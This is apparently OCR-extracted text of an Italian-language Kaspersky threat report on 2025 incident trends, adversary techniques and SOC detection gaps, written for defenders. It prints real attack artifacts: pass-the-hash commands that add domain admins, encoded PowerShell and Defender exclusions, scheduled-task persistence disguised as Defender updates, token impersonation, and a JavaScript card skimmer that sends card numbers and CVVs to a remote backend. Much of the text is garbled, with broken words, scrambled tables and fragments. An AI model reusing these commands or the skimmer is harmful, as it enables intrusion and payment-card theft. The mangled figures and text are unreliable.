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Introduzione

Gravita degli incidenti

Chi sono i potenziali autori degli
attacchi?

Come si possono rilevare

efficacemente le loro
attivita?

Quali metodi

utilizzano oggi?

"Anatomia del mondo digitale", Report globale di Kaspersky Security Services 2026

® 4/ 57


https://www.kaspersky.it/enterprise-security/managed-detection-and-response
https://www.kaspersky.it/enterprise-security/security-operations-center-soc
https://www.kaspersky.it/enterprise-security/incident-response
https://www.kaspersky.it/enterprise-security/compromise-assessment
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Gravita degli incidenti
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Introduzione Gravita degli incidenti Rilevamento degli attacchi

Alto

Basso

Nel corso del 2025, MDR ha rilevato in media fino a tre incidenti di gravita elevata al giorno.

2024

2023

2022

2021

2020

effetto "flooding", per cuile

organizzazioni ora si trovano a gestire un volume maggiore di minacce opportunistiche di basso livello, oltre

alle minacce avanzate
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Introduzione Gravita degliincidenti Rilevamento degli attacchi
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https://attack.mitre.org/techniques/T1474/
https://attack.mitre.org/techniques/T1199/




Natura degli incidenti di

Gravita degliincidenti NS
gravita elevata

Gravita Tempo di segnalazione Commenti

2024 539 min
2023: 36,4 min
2022: 43,7 min
Alto 2021 414 min
2020: 52,6 min

2024: 41,0 min
2023: 32,5 min
2022: 30,9 min
2021: 34,8 min
2020: 21,1 min

2024: 379 min
2023: 48,0 min
Basso 2022: 341 min
2021 40,2 min
2020: 30,2 min

faspersty o Managed
o - - Detection
MANAGED DETECTION and Response:
AND RESPONSE Analyst Report
at
A
kaspersky
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https://content.kaspersky-labs.com/fm/site-editor/e8/e8479161d19a80c769c2f2dabea7274b/source/kaspersky-managed-detection-and-response-analyst-report-0325-it.pdf
https://content.kaspersky-labs.com/fm/site-editor/68/680c25624a59707e4f047ae135f78229/source/kaspersky-mdr-report-2023.pdf
https://content.kaspersky-labs.com/fm/site-editor/52/52f9ce493bb257698e60f823b2b3e16d/source/kaspersky-mdr-analyst-report-2022.pdf
https://content.kaspersky-labs.com/fm/site-editor/b0/b08f9262f427a2b9e6c00d7c608842f3/source/mdr-analyst-report-2021.pdf
https://content.kaspersky-labs.com/fm/site-editor/32/326d836298373d796c965e4bfb9ced85/source/mdr-analyst-report-q4-2020.pdf

Gravita degliincidenti

Rapida Nella media

Sitrattain gran parte di
comportamenti avversari fastidiosi, basati
sulla facilita di accesso offerta da problemi
di sicurezza pubblici e faciimente identificabili

Natura degli incidenti di

gravita elevata

Di lunga durata

Percentuale degli attacchi

Vettori iniziali

Durata media dell'attacco (mediana)

Durata della risposta agli incidenti (mediana)

Danno
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https://content.kaspersky-labs.com/fm/site-editor/e8/e8479161d19a80c769c2f2dabea7274b/source/kaspersky-managed-detection-and-response-analyst-report-0325-it.pdf
https://content.kaspersky-labs.com/fm/site-editor/52/526c20352425d20e8cce4b0dd07f305f/source/kaspersky-ir-analyst-report-2023.pdf
https://content.kaspersky-labs.com/fm/site-editor/43/43fdc6bda5b4aa26747a89146ca6948f/source/the-nature-of-cyberincidents-2022.pdf
https://content.kaspersky-labs.com/fm/site-editor/72/72d83757a59aaa0d607b51dee785e55d/source/incident-response-analyst-report-2022.pdf
https://content.kaspersky-labs.com/fm/site-editor/93/93dd43a60d467c64822573d47b52b7ec/source/kaspersky-incident-response-analyst-2020.pdf




: " f Natura degliincidenti di
Rilevamento degli attacchi gravita elevata

Tattiche avversarie
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social engineering
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Rilevamento degli attacchi Tattiche avversarie

0% 5% 10% 15% 20% 25% 0% 5% 10% 15% 20% 25%

Tuttavia, le
violazioni gravi dei criteri di sicurezza (oltre il
13%) indicano che le configurazioni errate e le
azioni non autorizzate continuano a creare un
rischio significativo
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Rilevamento degli attacchi Tattiche avversarie

=0 \E i (‘D') —:E—I..! DE
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il che suggerisce che i criminali considerano i dipendenti dei media come
vettori di accesso iniziali per lo sviluppo di attacchi futuri
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Rilevamento degli attacchi Tattiche avversarie
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Rilevamento degli attacchi

CVE-2022-27228

la maggior parte
delle vulnerabilita CVE dispone di semplici PoC (Proof of Concept)
disponibili su piattaforme pubbliche e non richiede condizioni
complesse per l'esecuzione

I150% delle vulnerabilita identificate nei nostri interventi di
Incident Response porta all'esecuzione di codice remoto (RCE), in
alcuni casi senza autenticazione, il che aumenta significativamente
il rischio complessivo

Le vulnerabilita piu comuni includono deserializzazione non

sicura (CWE-502), autenticazione/autorizzazione impropria
(CWE-287/288), path traversal (CWE-22), caricamento di file
senza restrizioni (CWE-434) e falsificazione dirichieste lato server
(CWE-918), tutte in grado di portare direttamente al controllo del
sistema
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; : f Natura degliincidenti di ; .
Rilevamento degli attacchi gravita elevata Tattiche avversarie
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Rilevamento degli attacchi gravita elevata Tattiche avversarie
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Natura degli incidenti di Tecniche e strumenti degli
gravita elevata avversari
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https://attack.mitre.org/software/S0633/
https://attack.mitre.org/software/S0521/
https://github.com/rapid7/metasploit-framework
https://attack.mitre.org/techniques/T1041/
https://attack.mitre.org/software/S0154/
https://lolbas-project.github.io/

Natura degli incidenti di Tecniche e strumenti degli
gravita elevata avversari

|
Quest'anno abbiamo anche osservato lo sviluppo di attacchi che sfruttano le relazioni di fiducia. In un
caso, abbiamo scoperto che gli avversari avevano compromesso piu di due organizzazioni in sequenza
per ottenere |'accesso a un terzo bersaglio.
@
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Natura degli incidenti di Tecniche e strumenti degli
gravita elevata avversari
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Natura degli incidenti di Tecniche e strumenti degli
gravita elevata avversari

e e
L

IDS di rete integra EPP anche in scenari in cui il sensore endpoint sembra essere il metodo di
rilevamento pil ovvio
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: ; Tecniche e strumenti degli Efficacia del
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https://attack.mitre.org/docs/ATTACK_Design_and_Philosophy_March_2020.pdf

“C:\Windows\System32\WScript.exe" "wscript.exe"
"C:\Users\ \AppData\Local\Temp\1l 9.vbs" "C:\Users\ \AppData\Local\Temp\5 5.vbs"

(PID: 628) C:\Windows\system32\services.exe
L—— (PID: 6296) C:\Windows\system32\ServerManagerlLauncher.exe
L—— (PID: 5768) "C:\Windows\system32\mmc.exe" "C:\Windows\system32\ServerManager.msc"



https://securelist.com/kaspersky-managed-detection-and-response-report-2024/115635/
https://attack.mitre.org/techniques/T1059/005/
https://securelist.com/kaspersky-mdr-report-2023/112411/
https://attack.mitre.org/techniques/T1218/014/

C:\Windows\System32\services.exe
-> C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
-> "powershell.exe" -NonInteractive -enc [BASE64]
-> "C:\Windows\system32\cmd.exe" whoami
-> "C:\Windows\system32\cmd.exe" tasklist /svc
-> "C:\Windows\system32\cmd.exe" netstat -ano
-> "C:\Windows\system32\cmd.exe" ping -n 1 8.8.8.8
-> "C:\Windows\system32\cmd.exe" c:\windows\temp\klnagentx.exe 103.
-> "C:\Windows\system32\cmd.exe" tasklist /svc
-> "C:\Windows\system32\cmd.exe" c:\windows\temp\klnagentx.exe -h
-> "C:\Windows\system32\cmd.exe" c:\\windows\\temp\\klnagentx.exe -h
-> "C:\Windows\system32\cmd.exe" taskkill /f /im klnagentx.exe
-> "C:\Windows\system32\cmd.exe" tokei -H aa 1404ee:
448535c97b3fc9
-> "C:\Windows\system32\cmd.exe" sc.exe create MpKslad05flba type=kernel binpath=c:\windows)\
System32\drivers\MpKslDzv.sys
-> "C:\Windows\system32\cmd.exe" sc.exe start MpKslad05flba
-> "C:\Windows\system32\cmd.exe" cd
-> "C:\Windows\system32\cmd.exe" netstat -ao
-> "C:\Windows\system32\cmd.exe" netstat -ano
-> "C:\Windows\system32\cmd.exe" sc.exe stop MpKslad05flba
-> "C:\Windows\system32\cmd.exe" sc.exe delete MpKslad0@5flba
-> "C:\Windows\system32\cmd.exe" del c:\windows\System32\drivers\MpKslDrv.sys
-> "C:\Windows\system32\cmd.exe" del c:\windows\System32\aprds.dll
-> "C:\Windows\system32\cmd.exe" del c:\windows\System32\rsd.dat
-> "C:\Windows\system32\cmd.exe" klnagentx.exe roo.dat
-> "C:\Windows\system32\cmd.exe" taskkill /f /im klnagentx.exe
-> "C:\Windows\system32\cmd.exe" klnagentx.exe roo.dat
-> "C:\Windows\system32\cmd.exe" tasklist /svc
-> "C:\Windows\system32\cmd.exe" ping -c 1 .net

1. schtasks /create /tn "EdgeUpdateWinr" /tr "cmd /c c:\programdata\syc\sshd.exe" /sc hourly /ru SYSTEM
/£

Task path: C:\Windows\System32\Tasks\EdgeUpdateWinz,

Schedule task name: EdgeUpdateWinr

Registry path: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{D92
C7A4A}:Actions

Command: "cmd" /c c:\programdata\ \sshd.exe

2. schtasks /create /tn "WindowsAutoTask" /tr "\"C:\Program Files\OpenVPN\bin\openvpn.exe\" -config \"C:\
ProgramData\ _lak.ovpn\"" /sc onstart /ru SYSTEM /f

Task path: C:\Windows\System32\Tasks\WindowsAutoTask

Schedule task name: WindowsAutoTask

Registry path: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{F8
1A9}:Actions

Command: schtasks /create /tn "WindowsAutoTask" /tr "\"C:\Program Files\OpenVPN\bin\openvpn.exe\"

-config \"C:\ProgramData\ ak.ovpn\"" /sc onstart /ru SYSTEM /f



https://attack.mitre.org/techniques/T1569/002/
https://attack.mitre.org/techniques/T1543/003/
https://attack.mitre.org/techniques/T1053/005/

: ; Tecniche e strumenti degli Efficacia del
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Import-Module ./Invoke-TheHash.psdl

Invoke-WMIExec -Target "<IP>" -Domain
user Userl Passwordl! /ad" -verbose

Invoke-SMBExec -Target "<IP>" -Domain
user User2 Passwordl! /ad" -verbose

Invoke-SMBExec -Target "<IP>" -Domain
localgroup Administrators Userl /ad"

"<DOMINIO>" -Username

"<DOMINIO>"

-Username

"<DOMINIO>"
-verbose

-Username

Server di posta

"<UTENTE>"

"<UTENTE>"

"<UTENTE>"

-Hash "<HASH>" -Command "net

-Hash "<HASH>" -Command "net

-Hash "<HASH>" -Command "net

Serverl

Endpointl

Endpoint2



c:\users\mpdefender.exe

cmd.exe /c "cd /d C:\users\public &amp;&amp; start
ha caricato il file DLL dannoso Wiper: MpClient.dll (MD5 2DFEFQC375933B725C047A7E25B27CEE)

"C:\users\public\Mpdefender.exe




<?xml version="1.0" encoding="UTF-16"?>

<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<RegistrationInfo>

<Date>2025-06-19T08:36:48</Date>

<Author>REDACTED</Author>

<URI>\DefenderUpdatefor</URI>

</RegistrationInfo>

<Principals>

<Principal id="Author">

<UserId>S-1-5-18</UserId>
<RunLevel>HighestAvailable</RunLevel>

</Principal>

</Principals>

<Settings>
<DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries>
<StopIfGoingOnBatteries>true</StopIlfGoingOnBatteries>
<Enabled>false</Enabled>
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
<IdleSettings>

<Duration>PT10M</Duration>

<WaitTimeout>PT1H</WaitTimeout>
<StopOnIdleEnd>true</StopOnIdleEnd>
<RestartOnIdle>false</RestartOnIdle>

</IdleSettings>

</Settings>

<Triggers>

<TimeTrigger>
<StartBoundary>2025-06-19T12:30:00</StartBoundary>
</TimeTrigger>

</Triggers>

<Actions Context="Author">

<Exec>

<Command>cmd</Command>

<Arguments>/c "cd /d C:\users\public && start "" "C:\users\public\Mpdefender.exe""</Arguments>
</Exec>

</Actions>

</Task>

N N
c:\inetpub\calibze. c:\inetpub\history\ c:\program files c:\inetpub\history\
exe ca.exe (x86)\windows calibre-launcher.dll
defender\calibre.exe

powershell -nop -exec bypass -EncodedCommand
QQBKkAGQALQBNAHAAUABYAGUAZgBTAHIAZQBUAGMAZQAZACOARQB4AGMAbAB1AHMAaQBVAG4AUABhAHQAaAAgACTIAQWAGACIA
Add-MpPreference -ExclusionPath "C:'

.\Impersonate.exe

\Impersonate.exe list

\Impersonate.exe exec 30 ipconfig

\Impersonate.exe exec 30 "net user /domain>1.txt"

\Impersonate.exe exec 30 cmd

\Impersonate.exe exec 30 cmd /k whoami

\Impersonate.exe exec 30 cmd




: ; Tecniche e strumenti degli Efficacia del

ID:

Tattica: timestomping

ID:
Protocollo a livello di

SERICa2IeN: il modello http://+:<porta>/

http://+:80/Temporary_Listen_Addresses/

identificatore host con caratteri jolly
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http://+:80/Temporary_Listen_Addresses/
https://+:443/autodiscover/autodiscovers/
https://+:443/ews/exchanges/

https://+:444/ews/ews/

HttpListener listener = new HttplListener();

listener.Prefixes.Add("https://+:443/autodiscover/autodiscovers/");

listener.Start();




: ; Tecniche e strumenti degli Efficacia del

ID:
Account validi:

ID:
Servizi remoti:

ID:
Interprete comando
e scripting:

Tempistiche di esecuzione:

)

]

172.*%.*

4

RDP
A
172.%.*
SSH SSH
A
ESXi_2
A
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const _x = {

'RSA_PUBLIC_KEY': "--BEGIN PUBLIC KEY--\...<modificato>..—-END PUBLIC KEY--",
'BACKEND_URL': atob("...<modificato>..”)

const _y = async _y => {
try {
const _z = await fetch(_xxx.BACKEND_URL, {
‘method': "POST",
'headers': {
‘Content-Type': "application/json"

Jia
'body': JSON.stringify({
‘encrypted_data': _a

1

_b.addEventListener("mouseenter”, async () => {

try {
const _d = {

Tbard_number': document.getElementById("card_number")?.['value'] ||
'expiry_date': document.getElementById("expire_date")?.["value"] || "
'cvv': document.getElementById("card_cvv")?.["value"] || ",

-

const _zz = new JSEncrypt();
_zz.setPublicKey(...)




A

https://*:443/DELAY_SRV/
http://*:80/DELAYS_SRV/



: ; Tecniche e strumenti degli Efficacia del

user_token_api
blob di configurazione con codifica Base64

ID:

) SSH_client.exe memoria del processo WerFault.
Tattica:

exe

accesso SSH interattivo e funzionalita
di trasferimento file

SpawnShell:
Upload:
Download:
Ls:
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Efficacia del

Tattiche avversarie rilevamento SOC

 Inpetto o osserveziont

esecuzione in memoria,
utilizzo improprio di protocolli legittimi e
mascheramento dei processi

S O T

architettura di attacco a piu livellie
modulare
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: ; Tecniche e strumenti degli Efficacia del

richiesti

Reputazione difile/script/documento di Office
Totale: 3,8%

Reputazione dell'URL
Totale: 3,7%

Reputazione dell'host o IP remoto
Totale: 4,5%
Totale: 1,3%
Elenco dei rilevamenti correlati ad APT
Totale: 1,4%

Totale: 3,0%

Totale: 1,1%

Verdetto EPP per l'oggetto
Totale: 7,2%

Totale: 5,0%

Totale: 3,2%
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https://www.kaspersky.it/scan-engine
https://github.com/fortra/impacket

: ; Tecniche e strumenti degli Efficacia del

TAOOOT: TAO0O02: TAOOO3: TAOO0O04: TAOOQOS5: TAOOOQ6: TAOOO7:
Accesso Esecuzione Persistenza Escalationdei Elusione delle Accesso alle  Individuazione
iniziale privilegi difese credenziali
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: ; Tecniche e strumenti degli Efficacia del

TAOO0O0S: TAOO0O09: TAOO10: TAOO11: TAO040: TAO042: TAOO43:
Movimento Raccolta Esfiltrazione = Command and Impatto Sviluppo delle Ricognizione
laterale Control risorse
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Tecniche e strumenti degli Lacune nel rilevamento
avversari e compromissioni nascoste
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Tecniche e strumenti degli Lacune nel rilevamento
avversari e compromissioni nascoste

[5-30]

5-70+ [30-50]
[50-70+]
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https://securelist.com/siem-effectiveness-assessment/118560/

Tecniche e strumenti degli Lacune nel rilevamento

avversari e compromissioni nascoste
Sviluppo autonomo Organizzazioni che Organizzazioni che
seguono il fornitore  seguono EDR
Popolarita
Descrizione

Numero diregole
SIEM/XDR attive

Rapporto delle regole
personalizzate in
SIEM/XDR

Misurazione della
copertura MITRE
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Tecniche e strumenti degli Efficacia del Lacune nel rilevamento
avversari rilevamento SOC e compromissioni nascoste

|
Copertura dell'infrastruttura mancante o degradata
u
B Copertura delle regole di rilevamento per origini di eventi
u

alcuna personalizzazione: viene
semplicemente utilizzato il
pacchetto del fornitore

i Regole predefinite senza
X
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Efficacia del
rilevamento SOC

Operazioni (outsourcing)

Si

Nessun indicatore di compromissione

Progetto

r-----4u
B
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https://www.kaspersky.it/enterprise-security/managed-detection-and-response#form
https://www.kaspersky.it/enterprise-security/contact?icid=ca-ssreport
https://www.kaspersky.com/enterprise-security/contact-investigation
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Efficacia del
rilevamento SOC
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Efficacia del Lacune nel rilevamento
rilevamento SOC e compromissioni nascoste
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Per contrastare gli attacchi condotti da esseri umani, le soluzioni gestite dalle persone, come MDR
e Incident Response, rimangono fondamentali.

Servizi di consulenza SOC completi possono
supportare questo obiettivo.

In questi scenari, combinare un SOC interno abilitato per XDR e/o servizi in outsourcing come MDR
con valutazioni periodiche delle compromissioni rappresenta una strategia efficace per rilevare
e analizzare gli incidenti che eludono i controlli di sicurezza esistenti.

l'importanza della security awareness come pilastro centrale della
pianificazione della sicurezza informatica aziendale.
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https://attack.mitre.org/techniques/T1098/
https://attack.mitre.org/techniques/T1566/
https://attack.mitre.org/techniques/T1204/
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https://www.kaspersky.it/enterprise-security/incident-response
https://www.kaspersky.it/enterprise-security/managed-detection-and-response
https://www.kaspersky.it/enterprise-security/compromise-assessment
https://www.kaspersky.it/enterprise-security/security-operations-center-soc
https://www.kaspersky.it/enterprise-security/security-assessment
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